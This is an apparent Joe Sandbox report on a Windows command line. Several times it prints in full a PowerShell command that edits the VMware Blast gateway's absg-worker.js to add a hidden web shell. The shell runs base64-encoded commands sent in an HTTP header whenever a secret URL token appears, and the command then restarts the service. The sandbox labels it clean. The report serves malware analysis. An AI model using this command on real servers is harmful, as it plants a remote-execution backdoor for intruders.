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Windows Analysis Report

Overview

General Information

Analysis ID:	546047
Infos:
Most interesting Screenshot:

Detection

Score:	1
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Program does not show much activity (idle)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6932 cmdline: cmd /C "powershell -c $path=gwmi win32_service|?{$_.Name -like "*VMBlastSG*"}|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\;", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7012 cmdline: powershell -c $path=gwmi win32_service MD5: DBA3E6449E97D4E3DF64527EF7012A10)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

There are no malicious signatures, click here to show all signatures.

System Summary:

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -c $path=gwmi win32_service, CommandLine: powershell -c $path=gwmi win32_service, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /C "powershell -c $path=gwmi win32_service|?{$_.Name -like "*VMBlastSG*"}|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\;", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6932, ProcessCommandLine: powershell -c $path=gwmi win32_service, ProcessId: 7012

Jbx Signature Overview

• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion

Click to jump to signature section

Show All Signature Results

There are no malicious signatures, click here to show all signatures.

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6944:120:WilError_01

Source: classification engine

Classification label: clean1.win@4/0@0/0

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C "powershell -c $path=gwmi win32_service\|?{$_.Name -like "VMBlastSG"}\|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)\|ForEach-Object {$_ -replace "req.connection.end\;", $expr}\|Set-Content $path;Restart-Service -Force VMBlastSG"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -c $path=gwmi win32_service
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -c $path=gwmi win32_service	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: unknown

Process created: C:\Windows\SysWOW64\cmd.exe cmd /C "powershell -c $path=gwmi win32_service|?{$_.Name -like "*VMBlastSG*"}|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)|ForEach-Object {$_ -replace "req.connection.end\;", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG"

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -c $path=gwmi win32_service

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter1	Path Interception	Process Injection11	Process Injection11	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	546047
Start date:	28.12.2021
Start time:	21:59:49
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 3m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowscmdlinecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	CLEAN
Classification:	clean1.win@4/0@0/0
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.54.113.53, 23.35.236.56 Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

No static file info

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

• cmd.exe
• conhost.exe
• powershell.exe

Click to jump to process

Memory Usage

• cmd.exe
• conhost.exe
• powershell.exe

Click to jump to process

Behavior

• cmd.exe
• conhost.exe
• powershell.exe

Click to jump to process

System Behavior

Analysis Process: cmd.exe PID: 6932 Parent PID: 580

Function Logs

General

Start time:	22:00:37
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /C "powershell -c $path=gwmi win32_service\|?{$_.Name -like "VMBlastSG"}\|%{$_.PathName -replace '"', '' -replace "nssm.exe","lib\absg-worker.js"};$expr="req.connection.end();`r`n`t`t`t}`r`n`r`n`t`t`tif (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {`r`n`t`t`t`ttry {`r`n`t`t`t`t`treplyError(req, res, 200, require('child_process').execSync(`r`n`t`t`t`t`t`tBuffer.from(req.headers['data'], 'base64').toString('ascii')`r`n`t`t`t`t`t).toString());`r`n`t`t`t`t}`r`n`t`t`t`tcatch (err) {`r`n`t`t`t`t`treplyError(req, res, 400, err.stderr.toString());`r`n`t`t`t`t}`r`n`t`t`t`treturn;";(Get-Content $path)\|ForEach-Object {$_ -replace "req.connection.end\;", $expr}\|Set-Content $path;Restart-Service -Force VMBlastSG"
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

File Activities

File Opened

File Attributes Queried

Show Windows behavior

Section Activities

Sections loaded by Windows

Show Windows behavior

Thread Activities

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

System Activities

Show Windows behavior

LPC Port Activities

Chronological Activities

Analysis Process: conhost.exe PID: 6944 Parent PID: 6932

Function Logs

General

Start time:	22:00:37
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

File Activities

File Attributes Queried

Volume Information Queried

Show Windows behavior

Section Activities

Sections loaded by Windows

Sections loaded by Program

Show Windows behavior

Registry Activities

Show Windows behavior

Mutex Activities

Mutex Created

Show Windows behavior

Process Activities

Show Windows behavior

Memory Activities

LPC Port Activities

Chronological Activities

Analysis Process: powershell.exe PID: 7012 Parent PID: 6932

Function Logs

General

Start time:	22:00:38
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -c $path=gwmi win32_service
Imagebase:	0x110000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Powershell Activities

PowerShell Event Log

Download

Show Windows behavior

Process Activities

Show Windows behavior

System Activities

Chronological Activities

Disassembly

Code Analysis

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Jbx Signature Overview

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

No static file info

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: cmd.exe PID: 6932 Parent PID: 580

General

File Activities

File Opened

File Created

File Attributes Queried

Other File Operations

Volume Information Queried

Section Activities

Sections loaded by Windows

Process Activities

Process Created

Process Queried

Process Information Set

Process Terminated

Thread Activities

Thread Execution Resumed

Thread Information Set

Memory Activities

Memory Written

Memory Usage Statistics

System Activities

System Information Queried

LPC Port Activities